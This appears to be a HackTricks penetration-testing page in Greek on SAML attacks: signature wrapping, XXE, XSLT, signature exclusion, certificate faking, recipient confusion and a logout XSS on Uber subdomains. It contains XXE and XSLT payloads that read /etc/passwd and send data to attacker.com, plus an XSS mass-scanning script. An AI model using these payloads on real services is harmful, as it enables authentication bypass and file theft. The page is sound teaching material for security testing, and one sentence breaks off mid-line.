SAML Attacks

SAML Attacks

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.

Basic Information

SAML Basics

Tool

SAMLExtractor: Ένα εργαλείο που μπορεί να πάρει μια διεύθυνση URL ή λίστα διευθύνσεων URL και να εκτυπώσει πίσω τη διεύθυνση URL κατανάλωσης SAML.

XML round-trip

Στο XML, το υπογεγραμμένο μέρος του XML αποθηκεύεται στη μνήμη, στη συνέχεια εκτελείται κάποια κωδικοποίηση/αποκωδικοποίηση και ελέγχεται η υπογραφή. Ιδανικά, αυτή η κωδικοποίηση/αποκωδικοποίηση δεν θα έπρεπε να αλλάξει τα δεδομένα, αλλά με βάση αυτό το σενάριο, τα δεδομένα που ελέγχονται και τα αρχικά δεδομένα μπορεί να μην είναι τα ίδια.

Για παράδειγμα, ελέγξτε τον παρακάτω κώδικα:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Η εκτέλεση του προγράμματος κατά του REXML 3.2.4 ή νωρίτερα θα είχε ως αποτέλεσμα την εξής έξοδο αντί για αυτό:

First child in original doc: Y
First child after round-trip: Z

Αυτό είναι πώς το REXML είδε το αρχικό XML έγγραφο από το πρόγραμμα παραπάνω:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Και αυτό είναι πώς το είδε μετά από έναν γύρο ανάλυσης και σειριοποίησης:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Για περισσότερες πληροφορίες σχετικά με την ευπάθεια και πώς να την εκμεταλλευτείτε:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/

• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML Signature Wrapping Attacks

Στις XML Signature Wrapping attacks (XSW), οι αντίπαλοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται μέσω δύο διακριτών φάσεων: επικύρωση υπογραφής και κλήση λειτουργίας. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος εισάγει πλαστά στοιχεία που δεν θέτουν σε κίνδυνο την εγκυρότητα της XML Υπογραφής. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας διαφοράς μεταξύ των στοιχείων που αναλύονται από τη λογική εφαρμογής και εκείνων που ελέγχονται από το module επαλήθευσης υπογραφής. Ως αποτέλεσμα, ενώ η XML Υπογραφή παραμένει τεχνικά έγκυρη και περνά την επαλήθευση, η λογική εφαρμογής επεξεργάζεται τα παράνομα στοιχεία. Κατά συνέπεια, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την προστασία ακεραιότητας και την αυθεντικότητα προέλευσης της XML Υπογραφής, επιτρέποντας την εισαγωγή αυθαίρετου περιεχομένου χωρίς ανίχνευση.

Οι παρακάτω επιθέσεις βασίζονται σε αυτή την ανάρτηση στο blog και αυτή την εργασία. Ελέγξτε αυτές για περισσότερες λεπτομέρειες.

XSW #1

• Στρατηγική: Ένα νέο ριζικό στοιχείο που περιέχει την υπογραφή προστίθεται.

• Σημασία: Ο επικυρωτής μπορεί να μπερδευτεί μεταξύ της νόμιμης "Response -> Assertion -> Subject" και της "κακής νέας Response -> Assertion -> Subject" του επιτιθέμενου, οδηγώντας σε ζητήματα ακεραιότητας δεδομένων.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

• Διαφορά από το XSW #1: Χρησιμοποιεί μια αποσπασμένη υπογραφή αντί για μια περιβάλλουσα υπογραφή.

• Σημασία: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά τον έλεγχο ακεραιότητας.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

• Στρατηγική: Δημιουργείται μια κακή Assertion στο ίδιο ιεραρχικό επίπεδο με την αρχική assertion.

• Σημασία: Σκοπεύει να μπερδέψει τη λογική επιχείρησης να χρησιμοποιήσει τα κακόβουλα δεδομένα.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

• Διαφορά από το XSW #3: Η αρχική Assertion γίνεται παιδί της διπλασιασμένης (κακής) Assertion.

• Σημασία: Παρόμοια με το XSW #3 αλλά τροποποιεί τη δομή XML πιο επιθετικά.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

• Μοναδικό Σημείο: Ούτε η Υπογραφή ούτε η αρχική Assertion συμμορφώνονται με τις τυπικές ρυθμίσεις (περιβαλλόμενη/περιβάλλουσα/αποσπασμένη).

• Σημασία: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, τροποποιώντας τη δομή του αναμενόμενου εγγράφου.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

• Στρατηγική: Παρόμοια εισαγωγή τοποθεσίας όπως το XSW #4 και #5, αλλά με μια ανατροπή.

• Σημασία: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, η οποία στη συνέχεια περιβάλλει την αρχική Assertion, δημιουργώντας μια φωλιασμένη παραπλανητική δομή.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

• Στρατηγική: Ένα στοιχείο Extensions εισάγεται με την αντιγραμμένη Assertion ως παιδί.

• Σημασία: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα κατά της επαλήθευσης σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

• Διαφορά από το XSW #7: Χρησιμοποιεί ένα άλλο λιγότερο περιοριστικό XML στοιχείο για μια παραλλαγή της επίθεσης.

• Σημασία: Η αρχική Assertion γίνεται παιδί του λιγότερο περιοριστικού στοιχείου, αναστρέφοντας τη δομή που χρησιμοποιήθηκε στο XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Εργαλείο

Μπορείτε να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να αναλύσετε το αίτημα, να εφαρμόσετε οποιαδήποτε επίθεση XSW επιλέξετε και να την εκτελέσετε.

XXE

Εάν δεν γνωρίζετε ποιοι τύποι επιθέσεων είναι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα:

XXE - XEE - XML External Entity

Οι SAML Responses είναι συμπιεσμένα και base64 κωδικοποιημένα XML έγγραφα και μπορεί να είναι ευάλωτα σε επιθέσεις XML External Entity (XXE). Με την τροποποίηση της δομής XML της SAML Response, οι επιτιθέμενοι μπορούν να προσπαθήσουν να εκμεταλλευτούν τις ευπάθειες XXE. Να πώς μπορεί να οπτικοποιηθεί μια τέτοια επίθεση:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Tools

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να δημιουργήσετε το POC από ένα SAML request για να δοκιμάσετε πιθανές ευπάθειες XXE και SAML.

Ελέγξτε επίσης αυτή την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Για περισσότερες πληροφορίες σχετικά με το XSLT, επισκεφθείτε:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Οι Επεκτάσιμες Μετασχηματισμοί Γλώσσας Στυλ (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή XML εγγράφων σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι οι μετασχηματισμοί XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε.

Εδώ μπορείτε να βρείτε ένα POC για να ελέγξετε αυτό το είδος ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider για να δημιουργήσετε το POC από ένα SAML request για να δοκιμάσετε πιθανές ευπάθειες XSLT.

Ελέγξτε επίσης αυτή την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

Η XML Signature Exclusion παρατηρεί τη συμπεριφορά των υλοποιήσεων SAML όταν το στοιχείο Signature δεν είναι παρόν. Εάν αυτό το στοιχείο λείπει, η επικύρωση υπογραφής μπορεί να μην συμβαίνει, καθιστώντας το ευάλωτο. Είναι δυνατόν να δοκιμαστεί αυτό αλλάζοντας τα περιεχόμενα που συνήθως επαληθεύονται από την υπογραφή.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Tool

Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp SAML Raider. Παρεμβάλετε την SAML Response και κάντε κλικ στο Remove Signatures. Με αυτόν τον τρόπο όλα τα στοιχεία Signature αφαιρούνται.

Με τις υπογραφές αφαιρεμένες, επιτρέψτε στο αίτημα να προχωρήσει στον στόχο. Εάν η υπογραφή δεν απαιτείται από την Υπηρεσία

Certificate Faking

Certificate Faking

Το Certificate Faking είναι μια τεχνική για να δοκιμάσετε αν ένας Service Provider (SP) επαληθεύει σωστά ότι ένα SAML Message είναι υπογεγραμμένο από έναν αξιόπιστο Identity Provider (IdP). Περιλαμβάνει τη χρήση ενός *self-signed certificate για να υπογράψει την SAML Response ή Assertion, που βοηθά στην αξιολόγηση της διαδικασίας επικύρωσης εμπιστοσύνης μεταξύ SP και IdP.

Πώς να Διεξάγετε Certificate Faking

Τα παρακάτω βήματα περιγράφουν τη διαδικασία χρησιμοποιώντας την επέκταση Burp SAML Raider:

1. Παρεμβάλετε την SAML Response.

2. Εάν η απάντηση περιέχει μια υπογραφή, στείλτε το πιστοποιητικό στο SAML Raider Certs χρησιμοποιώντας το κουμπί Send Certificate to SAML Raider Certs.

3. Στην καρτέλα Πιστοποιητικά SAML Raider, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο Save and Self-Sign για να δημιουργήσετε ένα self-signed clone του αρχικού πιστοποιητικού.

4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στο Proxy του Burp. Επιλέξτε το νέο self-signed πιστοποιητικό από το αναπτυσσόμενο μενού XML Signature.

5. Αφαιρέστε οποιεσδήποτε υπάρχουσες υπογραφές με το κουμπί Remove Signatures.

6. Υπογράψτε το μήνυμα ή την δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το (Re-)Sign Message ή (Re-)Sign Assertion κουμπί, όπως απαιτείται.

7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχής αυθεντικοποίηση υποδεικνύει ότι ο SP αποδέχεται μηνύματα υπογεγραμμένα από το self-signed πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των SAML μηνυμάτων.

Token Recipient Confusion / Service Provider Target Confusion

Η Token Recipient Confusion και η Service Provider Target Confusion περιλαμβάνουν τον έλεγχο αν ο Service Provider επικυρώνει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης. Στην ουσία, ένας Service Provider θα πρέπει να απορρίπτει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο Recipient, που βρίσκεται μέσα στο στοιχείο SubjectConfirmationData μιας SAML Response. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Service Provider, η Assertion θα πρέπει να θεωρείται άκυρη.

Πώς Λειτουργεί

Για να είναι εφικτή μια επίθεση SAML Token Recipient Confusion (SAML-TRC), πρέπει να πληρούνται ορισμένες προϋποθέσεις. Πρώτον, πρέπει να υπάρχει ένας έγκυρος λογαριασμός σε έναν Service Provider (αναφερόμενος ως SP-Legit). Δεύτερον, ο στοχευμένος Service Provider (SP-Target) πρέπει να αποδέχεται tokens από τον ίδιο Identity Provider που εξυπηρετεί τον SP-Legit.

Η διαδικασία επίθεσης είναι απλή υπό αυτές τις προϋποθέσεις. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Identity Provider. Η SAML Response από τον Identity Provider προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη SAML Response, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη συνέχεια στον SP-Target. Η επιτυχία αυτής της επίθεσης μετράται από την αποδοχή της Assertion από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS στη λειτουργία Αποσύνδεσης

Η αρχική έρευνα μπορεί να προσπελαστεί μέσω αυτού του συνδέσμου.

Κατά τη διαδικασία της βίαιης αναγκαστικής πρόσβασης σε καταλόγους, ανακαλύφθηκε μια σελίδα αποσύνδεσης στη:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Κατά την πρόσβαση σε αυτόν τον σύνδεσμο, πραγματοποιήθηκε ανακατεύθυνση προς:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Αυτό αποκάλυψε ότι η παράμετρος base δέχεται μια διεύθυνση URL. Λαμβάνοντας αυτό υπόψη, προέκυψε η ιδέα να αντικατασταθεί η διεύθυνση URL με javascript:alert(123); σε μια προσπάθεια να ξεκινήσει μια επίθεση XSS (Cross-Site Scripting).

Μαζική Εκμετάλλευση

Από αυτή την έρευνα:

Το εργαλείο SAMLExtractor χρησιμοποιήθηκε για να αναλύσει υποτομείς του uberinternal.com για τομείς που χρησιμοποιούν την ίδια βιβλιοθήκη. Στη συνέχεια, αναπτύχθηκε ένα σενάριο για να στοχεύσει τη σελίδα oidauth/prompt. Αυτό το σενάριο δοκιμάζει για XSS (Cross-Site Scripting) εισάγοντας δεδομένα και ελέγχοντας αν αυτά ανακλώνται στην έξοδο. Σε περιπτώσεις όπου η είσοδος ανακλάται πράγματι, το σενάριο σηματοδοτεί τη σελίδα ως ευάλωτη.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Αναφορές

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/

• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.